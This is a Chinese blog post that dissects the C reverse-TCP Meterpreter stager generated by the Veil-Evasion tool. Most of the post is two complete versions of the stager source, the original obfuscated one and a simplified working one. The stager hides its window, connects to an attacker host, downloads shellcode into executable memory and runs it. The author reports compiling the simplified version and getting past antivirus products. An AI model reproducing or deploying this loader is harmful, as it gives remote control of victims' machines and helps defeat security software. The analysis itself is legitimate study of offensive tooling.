简单分析Veil-Evasion生成的攻击载荷c/meterpreter/recv_tcp的被控端代码

版权声明:本文为博主原创文章,未经博主允许不得转载。 https://blog.csdn.net/wyf12138/article/details/79954058

简单分析Veil-Evasion生成的攻击载荷c/meterpreter/rev_tcp的被控端代码

Veil-Evasion简介

Veil-Evasion是Veil项目(项目地址https://github.com/Veil-Framework/Veil)中的一个工具,用各种不同的语言生成攻击载荷,然后通过编译免杀,绕过杀毒软件。这是一个免杀工具,还提供了一些加壳程序。

Veil项目中还有一个工具,是Veil-Ordnance。这个工具可以用来生成shellcode,还有一个xor编码器,但我没怎么用过。

Veil项目的官方主页https://www.veil-framework.com/

简单分析攻击载荷c/meterpreter/rev_tcp的被控端代码

从github上下载Veil 3.0后,依照github上的指导进行安装,然后运行安装目录下名为Veil.py的python脚本,根据提示选择payload,我们这里选择c/meterpreter/recv_tcp这个payload,然后可以用metasploit来进行验证。

Veil会生成被控端的代码,这是个反向shell,被控端需要主动连接攻击机。

我的Kali攻击机的IP是192.168.56.102,使用5110端口(TCP)作为监听端口。

刚开始我们看到的C语言源代码是这个样子的:

c-1

这个代码看来是经过混淆的,代码格式和变量名都非常“乱”。

我们先对代码进行格式化,得到稍微能看一点的源码:


#define _WIN32_WINNT 0x0500
#include <winsock2.h>
#include <signal.h>
#include <time.h>
#include <string.h>
#include <stdlib.h>
#include <stdio.h>
#include <windows.h>
#include <math.h>
#include <stdarg.h>

char* ELPhvnk(const char *t) 
{ 
    int length= strlen(t); 
    int i; char* t2 = (char*)malloc((length+1) * sizeof(char)); 
    for(i=0;i<length;i++) { 
        t2[(length-1)-i]=t[i]; 
    } 
    t2[length] = '\0'; 
    return t2; 
}

char* oxImsmwTbcn(char* s) 
{ 
    char *result =  malloc(strlen(s)*2+1); 
    int i; 
    for (i=0; i<strlen(s)*2+1; i++) { 
        result[i] = s[i/2]; result[i+1]=s[i/2];
    } 
    result[i] = '\0'; 
    return result; 
}

void cvNGKT() {
    WORD XWPJfalPF = MAKEWORD((0*4+2), (0*4+2)); 
    WSADATA diDuQXNFmNZTv;
    if (WSAStartup(XWPJfalPF, &diDuQXNFmNZTv) < 0) { 
        WSACleanup(); 
        exit(1);
    }
}

char* IrhXxkpgdSirgmd() { 
    char *VTYrQkpq = ELPhvnk("dMjybHyCDGdyDYHjFxRJHePOysgMIrdtsPIJACQLjwQwMMaEHV"); 
    return strstr( VTYrQkpq, "s" );
}

void JQQYIn(SOCKET dQQjjbD) {
    closesocket(dQQjjbD);
    WSACleanup();
    exit(1);
}

char* HdzfoS() { 
    char NVGmZE[2940] = "xgqPMqbqLgbqKnTGxNOhRSTrPdNBDUuKKgxnvyybPjiAxSWLNg"; 
    char *lCUrNPHXpM = strupr(NVGmZE); 
    return strlwr(lCUrNPHXpM); 
}

int PaBVzZ(SOCKET aNTeaiCAXmaMhX, void * mngpZHDHPakA, int xMumRzycXl) {
    int slfkmklsDSA=0;
    int rcAmwSVM=0;
    void * startb = mngpZHDHPakA;
    while (rcAmwSVM < xMumRzycXl) {
        slfkmklsDSA = recv(aNTeaiCAXmaMhX, (char *)startb, xMumRzycXl - rcAmwSVM, 0);
        startb += slfkmklsDSA; 
        rcAmwSVM   += slfkmklsDSA;
        if (slfkmklsDSA == SOCKET_ERROR) 
            JQQYIn(aNTeaiCAXmaMhX);
    } 
    return rcAmwSVM; 
}

char* TEOHbyfIXj() { 
    char irQRqbMDFFOiV[2940], TQJodSedKcBQ[2940/2]; 
    strcpy(irQRqbMDFFOiV,"SrZFbAxiwfQYtzUOXzcJNYrpCduFtWmwnFtzlLXPiOdlEzQfEw"); 
    strcpy(TQJodSedKcBQ,"NMYmTVYYVDWVDLCEBprcyjeoiTZqfbtjDbRUFJXkLDdkXyycss"); 

    return oxImsmwTbcn(strcat( irQRqbMDFFOiV, TQJodSedKcBQ)); 
}
SOCKET IpYbCHNOV() { 
    struct hostent * CADnJpvtGkADG; 
    struct sockaddr_in NCpJvOJAtp; 
    SOCKET YJZKAxHbFLbgOb;
    YJZKAxHbFLbgOb = socket(AF_INET, SOCK_STREAM, 0);
    if (YJZKAxHbFLbgOb == INVALID_SOCKET) 
        JQQYIn(YJZKAxHbFLbgOb);
    CADnJpvtGkADG = gethostbyname("192.168.56.102");
    if (CADnJpvtGkADG == NULL) 
        JQQYIn(YJZKAxHbFLbgOb);
    memcpy(&NCpJvOJAtp.sin_addr.s_addr, CADnJpvtGkADG->h_addr, CADnJpvtGkADG->h_length);
    NCpJvOJAtp.sin_family = AF_INET;
    NCpJvOJAtp.sin_port = htons((567*9+7));
    if ( connect(YJZKAxHbFLbgOb, (struct sockaddr *)&NCpJvOJAtp, sizeof(NCpJvOJAtp)) ) 
        JQQYIn(YJZKAxHbFLbgOb);

    return YJZKAxHbFLbgOb;
}

int main(int argc, char * argv[]) 
{
    ShowWindow( GetConsoleWindow(), SW_HIDE );
    ULONG32 GbMtxZMJpvUG;
    char * AOnWmVQURLSv;
    int i;
    char* WRprInF[1160];
    void (*LKMoAeoqcSLE)();
    for (i = 0;  i < 1160;  ++i) 
        WRprInF[i] = malloc (9816);
    cvNGKT();
    char* GLEsyWODiOETsqn[6];
    SOCKET PSWEfTlAWmQjz = IpYbCHNOV();
    for (i = 0;  i < 6;  ++i) 
        GLEsyWODiOETsqn[i] = malloc (8388);
    int MjrRXPBqQGgxTx = recv(PSWEfTlAWmQjz, (char *)&GbMtxZMJpvUG, (4*1+0), 0);
    if (MjrRXPBqQGgxTx != (2*2+0) || GbMtxZMJpvUG <= 0) 
        JQQYIn(PSWEfTlAWmQjz);
    AOnWmVQURLSv = VirtualAlloc(0, GbMtxZMJpvUG + (5*1+0), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    char* OMybsEGA[8773];
    for (i=0; i<1160; ++i) {
        strcpy(WRprInF[i], IrhXxkpgdSirgmd());
    }
    if (AOnWmVQURLSv == NULL) 
        JQQYIn(PSWEfTlAWmQjz);
    AOnWmVQURLSv[0] = 0xBF;
    memcpy(AOnWmVQURLSv + 1, &PSWEfTlAWmQjz, (4*1+0));
    for (i = 0;  i < 8773;  ++i) 
        OMybsEGA[i] = malloc (7764);
    for (i=0; i<6; ++i){
        strcpy(GLEsyWODiOETsqn[i], HdzfoS());
    }
    MjrRXPBqQGgxTx = PaBVzZ(PSWEfTlAWmQjz, AOnWmVQURLSv + (5*1+0), GbMtxZMJpvUG);
    LKMoAeoqcSLE = (void (*)())AOnWmVQURLSv;LKMoAeoqcSLE();
    for (i=0; i<8773; ++i) {
        strcpy(OMybsEGA[i], TEOHbyfIXj());
    }

    return 0;
}

用IDE一键格式化就能得到这样的结果,但这段代码依然很难读懂,这些变量名都非常奇怪,而且还有一些莫名其妙的字符串操作,实在让人头疼。

后来我经过一番探索,发现这些字符串的操作完全是多余的!,后门的基本功能完全不依赖与这些字符串操作!!

真正起作用的只要下面这些代码,这里贴出的代码我修改了变量名和函数名,让同学们能看懂,精简后的源码如下:


#define _WIN32_WINNT 0x0500
#include <winsock2.h>
#include <signal.h>
#include <time.h>
#include <string.h>
#include <stdlib.h>
#include <stdio.h>
#include <windows.h>
#include <math.h>
#include <stdarg.h>

/*
* 函数名:startupWSA()
* 作用:初始化WinSock服务
* 备注:对应veil原始程序中的void cvNGKT()函数
*
*/
void startupWSA() 
{
    WORD wVersionReq = MAKEWORD(2, 2); 
    WSADATA wsaData;
    if (WSAStartup(wVersionReq, &wsaData) < 0) { 
        WSACleanup(); 
        exit(1);
    }
}

/*
* 函数名:closeSocket
* 作用:关闭套接字
* 备注:对应veil原始程序中的void JQQYIn(SOCKET dQQjjbD)函数
*
*/

void closeSocket(SOCKET sock) 
{
    closesocket(sock);
    WSACleanup();
    exit(1);
}

/*
* 函数名:recvPayload
* 作用:接受Meterpreter的payload
* 备注:对应veil原始程序的int PaBVzZ(SOCKET aNTeaiCAXmaMhX, void * mngpZHDHPakA, int xMumRzycXl)函数
*
*/
int recvPayload(SOCKET sock, void * payloadBuf, int size) 
{
    int recvLen=0;
    int count=0;
    void * startb = payloadBuf;
    while (count < size) {
        recvLen = recv(sock, (char *)startb, size - count, 0);
        startb += recvLen; 
        count  += recvLen;
        if (recvLen == SOCKET_ERROR) 
            closeSocket(sock);
    } 
    return count; 
}

/*
* 函数名:createTCPSocket()
* 作用:创建socket套件字
* 备注:对应veil原始程序的SOCKET IpYbCHNOV()函数
*
*/

SOCKET createTCPSocket() 
{ 
    struct hostent * host; 
    struct sockaddr_in addr; 
    SOCKET sock;
    sock = socket(AF_INET, SOCK_STREAM, 0);
    if (sock == INVALID_SOCKET) 
        closeSocket(sock);
    host = gethostbyname("192.168.56.102");   //控制端的IP地址
    if (host == NULL) 
        closeSocket(sock);
    memcpy(&addr.sin_addr.s_addr, host->h_addr, host->h_length);
    addr.sin_family = AF_INET;
    addr.sin_port = htons((5110));           //控制端的端口号
    if ( connect(sock, (struct sockaddr *)&addr, sizeof(addr)) ) 
        closeSocket(sock);

    return sock;
}

int main(int argc, char * argv[]) 
{
    ULONG32 size;
    char * payload;
    void (*pfunc)();

    //隐藏命令行窗口
    ShowWindow( GetConsoleWindow(), SW_HIDE );

    //创建套接字
    startupWSA();
    SOCKET sock = createTCPSocket();

    int recvLen = recv(sock, (char *)&size, 4, 0);
    if (recvLen != 4 || size <= 0) 
        closeSocket(sock);

    //为payload申请空间
    payload = VirtualAlloc(0, size + 5, MEM_COMMIT, PAGE_EXECUTE_READWRITE);


    if (payload == NULL) 
        closeSocket(sock);

    payload[0] = 0xBF;
    memcpy(payload + 1, &sock, 4);

    //接收payload并执行
    recvLen = recvPayload(sock, payload + 5, size);
    pfunc = (void (*)())payload;
    pfunc();


    return 0;
}

这段精简化后的代码是可以使用的,我们在win7虚拟机下用mingw编译这个程序:

c-2

运行该程序,成功回连:

c-3

我不明白为啥Veil 3.1生成的C源代码要有多余的“字符串”分配和操作,难道是为了免杀吗?

提取核心部分的代码难道不能免杀吗?我们来看看:

c-4

至少火绒安全查不出来。

放到virustotal上看一下吧,效果还不错:

c-5

我不知道为啥Veil有那么多“多余的代码”,也许是为了免杀吧。虽然我没法独立写后门程序,对Veil生成的C源码了解个大概还是没问题的,可还有许多细节没有弄明白。

阅读更多 登录后自动展开
想对作者说点什么? 我来说一句

没有更多推荐了,返回首页